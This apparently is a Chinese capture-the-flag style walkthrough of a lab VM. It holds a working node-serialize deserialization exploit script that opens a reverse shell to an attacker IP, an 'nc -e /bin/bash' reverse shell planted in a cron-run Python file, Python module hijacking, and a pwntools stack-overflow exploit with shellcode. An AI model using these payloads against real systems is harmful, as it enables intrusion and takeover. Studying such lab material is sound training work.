信息收集

IP定位

1
┌──(root㉿kali)-[/home/kali]
2
└─# arp-scan -l | grep "08:00:27"
3
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
4
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
5
192.168.0.102   08:00:27:57:b1:d0       (Unknown)

Nmap扫描

1
┌──(root㉿kali)-[/home/kali]
2
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.102
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-12 06:22 EST
4
Nmap scan report for 192.168.0.102
5
Host is up (0.00037s latency).
6
Not shown: 65533 closed tcp ports (conn-refused)
7
PORT     STATE SERVICE VERSION
8
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
9
| ssh-hostkey:
10
|   2048 22:e4:1e:f3:f6:82:7b:26:da:13:2f:01:f9:d5:0d:5b (RSA)
11
|   256 7b:09:3e:d4:a7:2d:92:01:9d:7d:7f:32:c1:fd:93:5b (ECDSA)
12
|_  256 56:fd:3d:c2:19:fe:22:24:ca:2c:f8:07:90:1d:76:87 (ED25519)
13
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
14
|_http-server-header: Apache/2.4.38 (Debian)
15
|_http-title: Apache2 Debian Default Page: It works
16
3000/tcp open  http    Node.js Express framework
17
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
18
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
19

20
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
21
Nmap done: 1 IP address (1 host up) scanned in 14.60 seconds

目录扫描

1
┌──(root㉿kali)-[/home/kali]
2
└─# dirsearch -u http://192.168.0.102
3

4
  _|. _ _  _  _  _ _|_    v0.4.3
5
 (_||| _) (/_(_|| (_| )
6

7
Extensions: php, aspx, jsp, html, js
8
HTTP method: GET | Threads: 25
9
Wordlist size: 11460
10

11
Output File: /home/kali/reports/http_192.168.0.102/_26-01-12_06-26-06.txt
12

13
Target: http://192.168.0.102/
14

15
[06:26:06] Starting:
16

17
[06:26:26] 301 -  321B  - /node_modules  ->  http://192.168.0.102/node_modules/
18
[06:26:26] 200 -  992B  - /node_modules/
19
[06:26:27] 200 -   32KB - /package-lock.json
20
[06:26:27] 200 -  116B  - /package.json
21
[06:26:31] 403 -  278B  - /server-status
22
[06:26:31] 403 -  278B  - /server-status/
23
[06:26:31] 200 -  386B  - /server.js
24

25
Task Completed

1
┌──(root㉿kali)-[/home/kali]
2
└─# gobuster dir -u http://192.168.0.102 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
3
===============================================================
4
Gobuster v3.6
5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6
===============================================================
7
[+] Url:                     http://192.168.0.102
8
[+] Method:                  GET
9
[+] Threads:                 64
10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
11
[+] Negative Status codes:   404
12
[+] User Agent:              gobuster/3.6
13
[+] Extensions:              js,yaml,php,txt,html,zip,db,bak
14
[+] Timeout:                 10s
15
===============================================================
16
Starting gobuster in directory enumeration mode
17
===============================================================
18
/index.html           (Status: 200) [Size: 10701]
19
/.html                (Status: 403) [Size: 278]
20
/server.js            (Status: 200) [Size: 679]
21
/.html                (Status: 403) [Size: 278]
22
/server-status        (Status: 403) [Size: 278]
23
Progress: 1985031 / 1985040 (100.00%)
24
===============================================================
25
Finished
26
===============================================================

/server.js

1
// 引入 express 框架，用于创建 Web 服务器
2
var express = require('express');
3

4
// 引入 cookie-parser，用于解析 HTTP 请求中的 Cookie
5
var cookieParser = require('cookie-parser');
6

7
// 引入 escape-html，用于对 HTML 特殊字符进行转义，防止 XSS
8
var escape = require('escape-html');
9

10
// 引入 node-serialize，用于对象的序列化与反序列化（⚠️存在安全风险）
11
var serialize = require('node-serialize');
12

13
// 创建一个 Express 应用实例
14
var app = express();
15

16
// 将 cookie-parser 作为中间件使用
17
// 这样 req.cookies 才能读取到客户端发送的 cookie
18
app.use(cookieParser())
19

20
// 定义 GET 请求，访问根路径 /
21
app.get('/', function(req, res) {
22

23
    // 判断客户端是否携带名为 profile 的 cookie
24
    if (req.cookies.profile) {
25

26
        // 将 cookie 中的 base64 字符串解码成普通字符串
27
        // ⚠️ Buffer 构造方式已被废弃，推荐使用 Buffer.from
28
        var str = new Buffer(req.cookies.profile,'base64').toString();
29

30
        // 使用 node-serialize 反序列化字符串为对象
31
        // ⚠️ 非常危险：如果 cookie 被用户篡改，可能触发代码执行
32
        var obj = serialize.unserialize(str);
33

34
        // 如果反序列化后的对象中存在 username 字段
35
        if (obj.username) {
36

37
            // 对 username 进行 HTML 转义，防止 XSS
38
            // 然后返回 “Hello 用户名”
39
            res.send("Hello " + escape(obj.username));
40
        }
41

42
    } else {
43

44
        // 如果客户端没有 profile cookie
45
        // 设置一个默认的 profile cookie（base64 编码的 JSON）
46
        res.cookie(
47
            'profile',
48
            "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=",
49
            {
50
                maxAge: 900000, // cookie 有效期 15 分钟（毫秒）
51
                httpOnly: true  // 只能通过 HTTP 访问，JS 无法读取
52
            }
53
        );
54
    }
55

56
    // 无论上面逻辑是否执行，最终都会执行这一句
57
    // ⚠️ 问题：如果前面已经 res.send 过，会导致逻辑混乱
58
    res.send("Hello World");
59
});
60

61
// 启动服务器，监听 3000 端口
62
app.listen(3000);

**使用 ****cookie-parser** 解析请求中的 cookie。
**使用 ****node-serialize** 来序列化和反序列化对象。
**访问根路径 ****/**：
如果请求中有 profile cookie：
1. 将 cookie 的 base64 内容解码成字符串。
2. 使用 serialize.unserialize 将字符串转换成对象。
3. 如果对象里有 username，用 escape 过滤后返回 "Hello username"。
如果没有 profile cookie：
1. 服务器设置一个默认的 profile cookie（内容是 base64 编码的 JSON）。
默认返回 "Hello World"。

eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=

base64解码后为

{“username”:“ajin”,“country”:“india”,“city”:“bangalore”}

漏洞理解

1
{
2
  "username": "_$$ND_FUNC$$_function(){
3
    require('child_process').exec('whoami',function() {})
4
  }()"
5
}

核心

是 node-serialize 库的 unserialize 函数。该函数在反序列化时，如果遇到特殊的函数标记（_$$ND_FUNC$$_），会执行该函数。攻击者可以构造一个特殊的序列化字符串，其中包含恶意代码，当服务器调用 unserialize 时就会执行这些代码。

关键点

_$$ND_FUNC$$_

这是 node-serialize 的特殊标记，意思是：

“嘿！我不是普通的字符串，我是一段要执行的函数代码！”

当 node-serialize 看到这个标记，它会：

提取后面的字符串：function(){require('child_process').exec('whoami',...
用 eval() 或 new Function() 把它变成真正的函数
立即执行这个函数（因为有 () 在最后）

1
// 反序列化（漏洞在这里！）
2
对象 = serialize.unserialize(解码后的);
3
// node-serialize看到_$$ND_FUNC$$_，会执行后面的函数代码
4
// 结果：黑客的代码在服务器上运行了！

漏洞利用

反弹shell

1
const http = require('http');
2
const net = require('net');
3

4
// 配置
5
const config = {
6
    target: '192.168.0.102:3000',
7
    attacker: '192.168.0.106',
8
    shellPort: 4444
9
};
10

11
// 创建恶意 cookie
12
function createReverseShellCookie() {
13
    // 使用 Node.js 创建反向连接
14
    const reverseCode = `
15
        var net = require('net');
16
        var cp = require('child_process');
17
        var sh = cp.spawn('/bin/sh', []);
18
        var client = new net.Socket();
19
        client.connect(${config.shellPort}, '${config.attacker}', function() {
20
            client.pipe(sh.stdin);
21
            sh.stdout.pipe(client);
22
            sh.stderr.pipe(client);
23
        });
24
    `;
25

26
    const payload = {
27
        username: `_$$ND_FUNC$$_function(){${reverseCode}}()`
28
    };
29

30
    return Buffer.from(JSON.stringify(payload)).toString('base64');
31
}
32

33
// 启动监听
34
function startListener(port) {
35
    console.log(`[+] 启动监听器在端口 ${port}...`);
36

37
    const server = net.createServer((socket) => {
38
        console.log('[+] 收到反向连接!');
39
        console.log('[+] 远程地址:', socket.remoteAddress);
40

41
        // 交互式 shell
42
        process.stdin.pipe(socket);
43
        socket.pipe(process.stdout);
44

45
        socket.on('close', () => {
46
            console.log('[!] 连接关闭');
47
            process.exit();
48
        });
49
    });
50

51
    server.listen(port, () => {
52
        console.log(`[+] 监听器在 ${config.attacker}:${port} 启动成功`);
53

54
        // 发送攻击请求
55
        setTimeout(() => sendExploit(), 1000);
56
    });
57
}
58

59
// 发送攻击请求
60
function sendExploit() {
61
    const cookieValue = createReverseShellCookie();
62
    console.log('[+] 发送恶意请求...');
63

64
    const options = {
65
        hostname: '192.168.0.102',
66
        port: 3000,
67
        path: '/',
68
        method: 'GET',
69
        headers: {
70
            'Cookie': `profile=${cookieValue}`
71
        }
72
    };
73

74
    const req = http.request(options, (res) => {
75
        console.log(`[+] 服务器响应状态: ${res.statusCode}`);
76
        res.on('data', () => {}); // 忽略响应数据
77
    });
78

79
    req.on('error', (e) => {
80
        console.log('[!] 请求失败:', e.message);
81
    });
82

83
    req.end();
84
}
85

86
// 主函数
87
console.log(`
88
====================================
89
    Node.js 反序列化反向 Shell
90
====================================
91
目标: ${config.target}
92
攻击机: ${config.attacker}
93
监听端口: ${config.shellPort}
94
====================================
95
`);
96

97
startListener(config.shellPort);

{“username”:“_ $ND_FUNC$ _function(){\n var net = require(‘net’);\n var cp = require(‘child_process’);\n var sh = cp.spawn(‘/bin/sh’, []);\n var client = new net.Socket();\n client.connect(4444, ‘192.168.0.106’, function() {\n client.pipe(sh.stdin);\n sh.stdout.pipe(client);\n sh.stderr.pipe(client);\n });\n }()“}

1
npm install node-serialize axios
2
node exploit_deserialize.js

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# node shell.js
3

4
====================================
5
    Node.js 反序列化反向 Shell
6
====================================
7
目标: 192.168.0.102:3000
8
攻击机: 192.168.0.106
9
监听端口: 4444
10
====================================
11

12
[+] 启动监听器在端口 4444...
13
[+] 监听器在 192.168.0.106:4444 启动成功
14
[+] 发送恶意请求...
15
[+] 服务器响应状态: 200
16
[+] 收到反向连接!
17
[+] 远程地址: ::ffff:192.168.0.102
18
whoami
19
www-data

升级tty

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

1
www-data@debian:/home/low$ cat user.txt
2
cat user.txt
3
justdeserialize

python库劫持提权-low

1
www-data@debian:/home/low$ sudo -l
2
sudo -l
3
Matching Defaults entries for www-data on debian:
4
    env_reset, mail_badpass,
5
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
6

7
User www-data may run the following commands on debian:
8
    (ALL : low) NOPASSWD: /usr/bin/python3 /home/low/scripts/script.py

www-data 用户可以以 low 用户身份运行指定脚本
不需要密码 (NOPASSWD)
可以运行：/usr/bin/python3 /home/low/scripts/script.py

1
www-data@debian:/home/low$ cat /home/low/scripts/script.py
2
cat /home/low/scripts/script.py
3
import main
4
import os
5

6
print("\n")
7
os.system("ip a | grep enp0s3")
8

9
print("\n")

用 `cat >` 覆盖 `main.py` 内容

1
www-data@debian:/home/low$
2
cat > /home/low/scripts/main.py << 'EOF'
3
import os
4
os.system('bash')
5
EOF

使用 shell 的重定向 > 直接覆盖 main.py 的内容。
新内容是一个恶意 Python 脚本：
- 打印提示
- 执行 id 和 whoami 查看当前身份
- 启动一个 bash shell（获得交互式控制）

✅ 成功注入恶意代码到 main.py。

触发目标脚本执行（以 `low` 身份）

1
www-data@debian:/home/low$ sudo -u low /usr/bin/python3 /home/low/scripts/script.py

系统以 low 用户身份运行 script.py
假设 script.py 内容类似：

1
import main  # 从当前目录导入 main.py
2
main.run()

由于 Python 默认优先从当前工作目录导入模块，因此会加载被篡改的 main.py

计时任务提权-debain

1
low@debian:/$ find / -perm -u=s -type f 2>/dev/null
2
find / -perm -u=s -type f 2>/dev/null
3
/usr/sbin/pppd
4
/usr/bin/bwrap
5
/usr/bin/umount
6
/usr/bin/fusermount
7
/usr/bin/su
8
/usr/bin/chfn
9
/usr/bin/newgrp
10
/usr/bin/mount
11
/usr/bin/passwd
12
/usr/bin/sudo
13
/usr/bin/pkexec
14
/usr/bin/ntfs-3g
15
/usr/bin/chsh
16
/usr/bin/gpasswd
17
/usr/lib/eject/dmcrypt-get-device
18
/usr/lib/openssh/ssh-keysign
19
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
20
/usr/lib/policykit-1/polkit-agent-helper-1
21
/usr/lib/xorg/Xorg.wrap
22
low@debian:/$ cat /etc/cron*
23
cat /etc/cron*
24
cat: /etc/cron.d: Es un directorio
25
cat: /etc/cron.daily: Es un directorio
26
cat: /etc/cron.hourly: Es un directorio
27
cat: /etc/cron.monthly: Es un directorio
28
# /etc/crontab: system-wide crontab
29
# Unlike any other crontab you don't have to run the `crontab'
30
# command to install the new version when you edit this file
31
# and files in /etc/cron.d. These files also have username fields,
32
# that none of the other crontabs do.
33

34
SHELL=/bin/sh
35
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
36

37
# Example of job definition:
38
# .---------------- minute (0 - 59)
39
# |  .------------- hour (0 - 23)
40
# |  |  .---------- day of month (1 - 31)
41
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
42
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
43
# |  |  |  |  |
44
# *  *  *  *  * user-name command to be executed
45
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
46
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47
*/1 *   * * *   debian /usr/bin/python3 /home/debian/Documentos/backup/dissapeared.py ; echo "Done" >> /home/debian/Documentos/log
48
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
49
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
50
#
51
cat: /etc/cron.weekly: Es un directorio
52

53
low@debian:/home/debian/Documentos$ ls -al
54
ls -al
55
total 12
56
drwxrwx---  2 debian low    4096 may  7  2021 .
57
drwxr-xr-x 15 debian debian 4096 may  8  2021 ..
58
-rw-r--r--  1 debian debian  460 ene 12 13:36 log

发现该目录咱们这个low用户可写，尝试写一个backup/dissapeared.py进去：

1
low@debian:/home/debian/Documentos$ mkdir backup
2
low@debian:/home/debian/Documentos$ chmod 777 backup
3
low@debian:/home/debian/Documentos$ cd backup/
4
low@debian:/home/debian/Documentos/backup$ echo "import os;os.system('nc -e /bin/bash 192.168.0.106 1234')" > dissapeared.py
5
low@debian:/home/debian/Documentos/backup$ chmod +x dissapeared.py

1
┌──(root㉿kali)-[/home/kali]
2
└─# nc -lvvp 1234
3
listening on [any] 1234 ...
4
192.168.0.102: inverse host lookup failed: Unknown host
5
connect to [192.168.0.106] from (UNKNOWN) [192.168.0.102] 47150
6
id
7
uid=1000(debian) gid=1000(debian) grupos=1000(debian),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),114(lpadmin),115(scanner)

提权-root

升级tty

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

sudo -l

1
debian@debian:/$ sudo -l
2
sudo -l
3
Matching Defaults entries for debian on debian:
4
    env_reset, mail_badpass,
5
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
6

7
User debian may run the following commands on debian:
8
    (ALL : root) NOPASSWD: /bin/wine
9
        /opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe

允许普通用户以 root 身份运行 Wine 来执行一个“存在缓冲区溢出漏洞”的程序

① brainfuck.exe 是什么？

Windows 程序
明确标注 Buffer Overflow Vulnerable
说明存在 内存破坏类漏洞

② wine 在 sudo 下是 root

wine 进程 = root
wine 加载的 exe = root 权限上下文

③ 缓冲区溢出意味着什么？

覆盖返回地址 / 函数指针
控制程序执行流
执行任意代码

④ 任意代码在谁的权限下执行？

👉 root

brainfuck.exe

1
debian@debian:/$ file /opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe
2
file /opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe
3
/opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

1
debian@debian:/opt/Buffer-Overflow-Vulnerable-app$ ls -al
2
ls -al
3
total 9240
4
drwxr-xr-x  6 debian debian    4096 may  7  2021 .
5
drwxr-xr-x  3 root   root      4096 may  7  2021 ..
6
-rw-r--r--  1 debian debian   21190 may  7  2021 brainfuck.exe
7
-rw-r--r--  1 debian debian   21190 may  7  2021 brainpan.exe
8
-rw-r--r--  1 debian debian   13312 may  7  2021 dostackbufferoverflowgood.exe
9
drwxr-xr-x  8 debian debian    4096 may  7  2021 .git
10
drwxr-xr-x 54 debian debian    4096 may  7  2021 node_modules
11
-rw-r--r--  1 debian debian      60 may  7  2021 NOTE.txt
12
drwxr-xr-x  2 debian debian    4096 may  7  2021 oscp
13
-rw-r--r--  1 debian debian   14740 may  7  2021 package-lock.json
14
-rw-r--r--  1 debian debian     277 may  7  2021 README.md
15
-rw-r--r--  1 debian debian 9266237 may  7  2021 SLMail.exe
16
-rw-r--r--  1 debian debian   76152 may  7  2021 vcruntime140.dll
17
drwxr-xr-x  2 debian debian    4096 may  7  2021 vulnserver

pwn环境搭建

1
python3 -m venv pwn
2
source ./pwn/bin/activate
3
┌──(pwn)─(root㉿kali)-[/home/kali/Desktop/tools/pwndbg]
4
└─# python3 -m pip install --upgrade pwntools -i https://pypi.doubanio.com/simple
5

6
git clone https://github.com/pwndbg/pwndbg
7
cd pwndbg
8
./setup.sh
9

10
┌──(pwn)─(root㉿kali)-[/home/kali/Desktop/tools/pwndbg]
11
└─# gdb
12
GNU gdb (Debian 17.1-1) 17.1
13
Copyright (C) 2025 Free Software Foundation, Inc.
14
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
15
This is free software: you are free to change and redistribute it.
16
There is NO WARRANTY, to the extent permitted by law.
17
Type "show copying" and "show warranty" for details.
18
This GDB was configured as "x86_64-linux-gnu".
19
Type "show configuration" for configuration details.
20
For bug reporting instructions, please see:
21
<https://www.gnu.org/software/gdb/bugs/>.
22
Find the GDB manual and other documentation resources online at:
23
    <http://www.gnu.org/software/gdb/documentation/>.
24

25
For help, type "help".
26
Type "apropos word" to search for commands related to "word".
27
pwndbg: loaded 212 pwndbg commands. Type pwndbg [filter] for a list.
28
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
29
------- tip of the day (disable with set show-tips off) -------
30
Want to NOP some instructions? Use patch <address> 'nop; nop; nop'
31
pwndbg>
32

33
┌──(pwn)─(root㉿kali)-[/home/kali/Desktop/tools/pwndbg]
34
└─# sudo apt install ghidra -y

栈溢出漏洞

1
sudo -u root /bin/wine /opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe
2
[+] initializing winsock...done.
3
[+] server socket created.
4
[+] bind done on port 9999
5
[+] waiting for connections.

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# nc 192.168.0.102 9999
3
_|                            _|
4
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
5
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
6
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
7
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
8
                                            _|
9
                                            _|
10

11
[________________________ WELCOME TO BRAINPAN _________________________]
12
                          ENTER THE PASSWORD
13

14
                          >>

1
┌──(pwn)─(root㉿kali)-[/home/kali/Desktop/tools/pwndbg]
2
└─# ghidra
3

4
//将项目拖入进行反编译
5

6
/* WARNING: Removing unreachable block (ram,0x311716c5) */
7

8
int __cdecl _main(int _Argc,char **_Argv,char **_Env)
9

10
{
11
  int iVar1;
12
  size_t in_stack_fffff9f0;
13
  sockaddr local_5dc;
14
  sockaddr local_5cc;
15
  SOCKET local_5b4;
16
  SOCKET local_5b0;
17
  WSADATA local_5ac;
18
  int local_414;
19
  int local_410;
20
  int local_40c;
21
  char *local_408;
22
  char *local_404;
23
  char *local_400;
24
  char local_3fc [1016];
25

26
  __alloca(in_stack_fffff9f0);
27
  ___main();
28
  local_400 =
29
  "_|                            _|                                        \n_|_|_|    _|  _|_|    _ |_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  \n_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|\n_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _ |\n_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|\n                                            _|                          \n                                            _ |\n\n[________________________ WELCOME TO BRAINPAN _________________________]\n                          ENTER THE PASSWORD                              \n\n                          >> "
30
  ;
31
  local_404 = "                          ACCESS DENIED\n";
32
  local_408 = "                          ACCESS GRANTED\n";
33
  local_410 = 9999;
34
  local_414 = 1;
35
  printf("[+] initializing winsock...");
36
  iVar1 = _WSAStartup@8(0x202,&local_5ac);
37
  if (iVar1 == 0) {
38
    printf("done.\n");
39
    local_5b0 = socket(2,1,0);
40
    if (local_5b0 == 0xffffffff) {
41
      iVar1 = _WSAGetLastError@0();
42
      printf("[!] could not create socket: %d",iVar1);
43
    }
44
    printf("[+] server socket created.\n");
45
    local_5cc.sa_family = 2;
46
    local_5cc.sa_data[2] = '\0';
47
    local_5cc.sa_data[3] = '\0';
48
    local_5cc.sa_data[4] = '\0';
49
    local_5cc.sa_data[5] = '\0';
50
    local_5cc.sa_data._0_2_ = htons(9999);
51
    iVar1 = bind(local_5b0,&local_5cc,0x10);
52
    if (iVar1 == -1) {
53
      iVar1 = _WSAGetLastError@0();
54
      printf("[!] bind failed: %d",iVar1);
55
    }
56
    printf("[+] bind done on port %d\n",local_410);
57
    listen(local_5b0,3);
58
    printf("[+] waiting for connections.\n");
59
    local_40c = 0x10;
60
    while (local_5b4 = accept(local_5b0,&local_5dc,&local_40c), local_5b4 != 0xffffffff) {
61
      printf("[+] received connection.\n");
62
      memset(local_3fc,0,1000);
63
      iVar1 = strlen(local_400);
64
      send(local_5b4,local_400,iVar1,0);
65
      recv(local_5b4,local_3fc,1000,0);
66
      local_414 = get_reply(local_3fc);
67
      printf("[+] check is %d\n",local_414);
68
      iVar1 = get_reply(local_3fc);
69
      if (iVar1 == 0) {
70
        iVar1 = strlen(local_404);
71
        send(local_5b4,local_408,iVar1,0);
72
      }
73
      else {
74
        iVar1 = strlen(local_408);
75
        send(local_5b4,local_404,iVar1,0);
76
      }
77
      closesocket(local_5b4);
78
    }
79
    iVar1 = _WSAGetLastError@0();
80
    printf("[!] accept failed: %d",iVar1);
81
  }
82
  else {
83
    iVar1 = _WSAGetLastError@0();
84
    printf("[!] winsock init failed: %d",iVar1);
85
  }
86
  return 1;
87
}

1
void get_reply(char *param_1)
2
{
3
    printf("[get_reply] s = [%s]\n", param_1);
4
    strcpy(local_buffer, param_1);          // ⚠️ 栈溢出漏洞！
5
    param1 = strlen(local_buffer);
6
    printf("[get_reply] copied %d bytes to buffer\n", param1);
7
    strcmp(local_buffer, "shitstorm\n");
8
}

关键信息：

strcpy() 无长度检查
recv() 接收最多1000字节
local_buffer 是栈上的局部变量

一、从反编译代码开始（这是唯一正确的起点）

你给的 get_reply 反编译结果是完全正确的：

1
int __cdecl get_reply(char *Source)
2
{
3
  size_t v1; // eax
4
  char Dest; // [esp+10h] [ebp-208h]
5

6
  printf("[get_reply] s = [%s]\n", Source);
7
  strcpy(&Dest, Source);
8
  v1 = strlen(&Dest);
9
  printf("[get_reply] copied %d bytes to buffer\n", v1);
10
  return strcmp(&Dest, "shitstorm\n");
11
}

这里我们只看三行：

1
char Dest;                 // 栈上缓冲区
2
strcpy(&Dest, Source);     // 无长度检查
3
return strcmp(&Dest, ...); // 之后还会返回

结论 1（漏洞定性）：

这是一个标准的栈溢出函数，利用点 100% 成立

这一点你没有任何问题。

二、Dest 到底有多大？（这是 offset 的数学来源）

关键是这一行：

1
char Dest; // [ebp-208h]

这句话不是“一个 char”，而是 一个以 **ebp-0x208** 为起始的缓冲区

结合函数栈结构：

1
高地址
2
[ RET ]        <- EIP
3
[ saved EBP ]
4
[ Dest buffer ]  <- 从 ebp-0x208 开始
5
低地址

关键计算（这是整个 exp 的“根”）：

Dest 起始地址：EBP - 0x208
返回地址 RET：EBP + 4

所以 从 Dest 到 RET 的字节数是：

1
(EBP + 4) - (EBP - 0x208)
2
= 0x208 + 4
3
= 0x20C
4
= 524 字节

结论 2（offset 精确来源）：

覆盖 RET 需要 524 字节 junk

这就是你写的：

1
junk = b'a' * 524

不是猜的，不是试的，是栈布局直接算出来的。

三、为什么 strcpy 一定能覆盖到 RET？

因为：

1
recv(sock, buf, 1000, 0);

而 Dest 只有：

1
0x208 = 520 字节

recv 允许你送 1000 字节，strcpy 不检查长度：

你至少可以覆盖到：

buffer
saved EBP
RET
RET 后的栈内容

结论 3（利用可达性）：

EIP 可控是必然的，不是可能

四、ret_addr 是怎么“合法”找出来的？

你做了两次交叉验证，这一步是教科书级别正确。

1️⃣ ropper 搜索

1
ropper --file brainfuck.exe --search 'jmp esp'

结果：

1
0x311712f3: jmp esp;

2️⃣ objdump 再确认一次

1
objdump -D brainfuck.exe | grep jmp | grep esp

结果：

1
311712f3: ff e4  jmp *%esp

结论 4（控制流接管点）：

**0x311712f3 是一个真实存在、可执行、无歧义的 ****jmp esp**

这一步没有任何问题。

五、为什么 payload 结构必须是这样？

你最终的 payload 是：

1
payload = junk + ret_addr + shellcode

我们按 CPU 执行顺序解释：

① `junk = 'a' * 524`

覆盖 Dest
覆盖 saved EBP
正好覆盖到 RET 前一字节

② `ret_addr = 0x311712f3`

RET 被覆盖后，函数 ret 等价于：

1
EIP = 0x311712f3

而这条指令是：

1
jmp esp

③ `jmp esp` 跳到哪里？

此时 ESP 指向哪里？

就在：

1
RET 后面的内容

也就是：

1
shellcode

结论 5（执行流闭环）：

RET → jmp esp → shellcode

控制流是完全闭合的，没有缺口

Exp

1
from pwn import *
2

3
context.update(os='linux', arch='i386')
4
target_ip = '192.168.10.102'
5
target_port = 9999
6

7
junk = b'a' * 524
8
ret_addr = p32(0x311712f3)
9
# execve("/bin/sh") shellcode（32位）
10
shellcode = asm(shellcraft.sh())
11

12
payload = junk + ret_addr + shellcode
13

14
try:
15
    conn = remote(target_ip, target_port)
16
    conn.recvuntil(b'>>')
17

18
    # 发送 Payload
19
    conn.send(payload)
20
    log.info(f"[+] Exploit!!!!!")
21
    conn.interactive()
22

23
except Exception as e:
24
    log.error(f"[-] Exploit failed: {e}")
25
finally:
26
    conn.close()

1
cat root.txt
2
BoFsavetheworld

补充知识

1️⃣ 寄存器 = CPU 自己口袋里的变量

寄存器是：

极小
极快
数量很少

在 32 位 x86 里，你现在只需要认识这几个：

寄存器	作用（人话）
EIP	下一条要执行的指令地址
ESP	栈顶在哪里
EBP	当前函数的“参考点”
EAX	临时变量 / 返回值

👉 你现在只要记住前三个

2️⃣ 最重要的一个寄存器：EIP

EIP 决定“程序下一步去哪”

EIP = 0x1234
→ CPU 去 0x1234 执行指令

所以在 pwn 里一句话就是：

谁能控制 EIP，谁就能控制程序

第三层：什么是栈？（不讲内存模型）

1️⃣ 栈是“函数用的草稿纸”

当函数被调用时：

会在栈上放：
- 局部变量
- 返回地址
- 一些临时数据

你可以把栈画成一列盒子：

1
高地址
2
┌──────────┐
3
│ 返回地址 │ ← EIP 从这里来
4
├──────────┤
5
│ 旧 EBP   │
6
├──────────┤
7
│ 局部变量 │ ← strcpy 写的地方
8
└──────────┘
9
低地址

2️⃣ ESP 和 EBP 是干嘛的？

ESP：指向“最上面的盒子”
EBP：指向“这一摞盒子的固定参考点”

EBP 的作用一句话：

“让我能找到自己的局部变量和返回地址”

第四层：函数返回发生了什么？（超级关键）

当一个函数结束时，会执行两步：

1
leave
2
ret

你现在不用记指令，只记效果：

`ret` 干了什么？

从栈里取一个 4 字节地址，放进 EIP

也就是：

1
EIP = *(ESP)

💥 这就是漏洞利用的入口。

第五层：什么是“栈溢出”？

你看这行代码：

1
strcpy(Dest, Source);

人话翻译：

不停地把 Source 的内容复制到 Dest，直到遇到 \0

但 Dest 在栈上，大小是有限的。

如果 Source 太长：

1
Dest 的空间 → 写完了
2
继续写 → 覆盖旧 EBP
3
继续写 → 覆盖返回地址（RET）

⚠️ 一旦返回地址被覆盖：

ret 取到的是“你写进去的东西”

于是：

你控制了 EIP

我们用一句话串起来：

strcpy 写爆栈 → 覆盖返回地址 → ret 把你写的值放进 EIP → CPU 跳到你指定的位置执行

那 `jmp esp` 是干嘛的？

你之前问：

ropper —search ‘jmp esp’ 是为什么？

现在答案你应该能接受了：

你控制了 EIP
你不知道 shellcode 在哪
但 ESP 一定指向你的数据

jmp esp 的作用就是：

EIP = ESP

也就是：

“跳到我现在这堆栈数据里执行”

为什么ESP一定指向你的数据

因为你的输入是通过函数参数被拷贝到栈上的，而栈顶（ESP）正好就在这片区域附近

第一步：你的数据是“怎么进程序的”？

你现在的程序是 网络服务，流程本质是：

1
socket recv → 把你发的数据放到一个 buffer → 传给 get_reply

于是 get_reply(char *Source) 里的 Source：

指向的内容
就是你从网络发过去的字节

✅ 这是第一件事：
你的输入已经在内存里了

第二步：`Dest` 在哪里？（这是关键）

反编译结果：

1
char Dest; // [esp+10h] [ebp-208h]

